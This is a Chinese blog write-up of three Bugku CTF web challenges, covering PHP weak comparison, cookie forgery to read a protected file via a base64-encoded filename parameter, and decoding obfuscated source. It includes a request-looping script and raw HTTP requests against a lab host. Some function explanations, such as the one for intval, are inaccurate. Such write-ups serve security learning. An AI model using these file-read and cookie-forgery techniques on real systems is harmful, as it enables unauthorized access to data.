bugku web部分writeup

原创

天问_Herbert555 于 2019-11-08 11:52:10 发布 1242 收藏 1
分类专栏： # 各平台题目 文章标签： bugku ctf

文章目录

矛盾

```
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
```

1，PHP是一门弱类型语。
2，PHP中"=="只判断值是否相等。

所以只要是1开头后面接字母的字符串都行。

cookies欺骗

首先打开网站是一堆不知道什么意思的字符。

然后看到网址上filename后有base64编码，解码后是keys.txt。

```
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
```

想到可以测试一下index.php，发现改变line后是一行代码，这里用脚本全部提取出来。

```
http://123.206.87.240:8002/web11/index.php?line=1&filename=aW5kZXgucGhw
```

`error_reporting(0);`

脚本如下：

```
import requests
s=requests.session()
for i in range(50):
 url='http://123.206.87.240:8002/web11/index.php?line='+str(i)+'&filename=aW5kZXgucGhw'
 html=s.get(url).text
 print html
```

下面是提取到的代码：

```
<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);



if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}



if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>
```

分析代码可知：

1，要使cookie中的margin参数等于margin。

2，使filename=base64加密后的'keys.php'。

```
GET /web11/index.php?line=&filename=a2V5cy5waHA= HTTP/1.1
Host: 123.206.87.240:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70
Accept: text/html,application/xhtml+xml,application/xml;q=0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: margin=margin
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

得到flag：

```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 13 Nov 2019 12:42:17 GMT
Content-Type: text/html
Connection: keep-alive
Keep-Alive: timeout=60
Content-Length: 30

<?php $key='KEY{key_keys}'; ?>
```

总结：

1，(expr1)? (expr2)：(expr3)

作用：若expr1正确，输出expr2，否则输出expr3。

2，intval(var)

作用：获得字符串var的整数，如果var是空数组，函数返回0，反之返回1。

3，in_array(var,array)

作用：在数组array中搜索var。

never give up

进入网址后在源代码中发现<!–1p.html–>,于是访问该网址。

```
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--

var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
```


发现了url编码，解码解码解码后得到下面的代码。

```
";if(!$_GET['id'])
{
 header('Location: hello.php?id=1');
 exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
 echo 'no no no no no no no';
 return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and
eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
 require("f4l2a3g.txt");
}
else
{
 print "never never never give up !!!";
}


?>
```

这道题我还去试id，a和b的值结果直接访问f1l2a3g.txt就能得到flag。。。

总结：

1，stripos()

```
stripos("You love php, I love php too!","PHP");//9
```

作用： 查找php在字符串中第一次出现的位置。

2，eregi()

```
eregi('A','B')
```

作用：判断字符串A是否在字符串B中。

3,substr()

```
<?php
$rest = substr("abcdef", -1);    // 返回 "f"
$rest = substr("abcdef", -2);    // 返回 "ef"
$rest = substr("abcdef", -3, 1); // 返回 "d"
$rest = substr("abcdef", 0, -1);  // 返回 "abcde"
$rest = substr("abcdef", 2, -1);  // 返回 "cde"
$rest = substr("abcdef", 4, -4);  // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>
```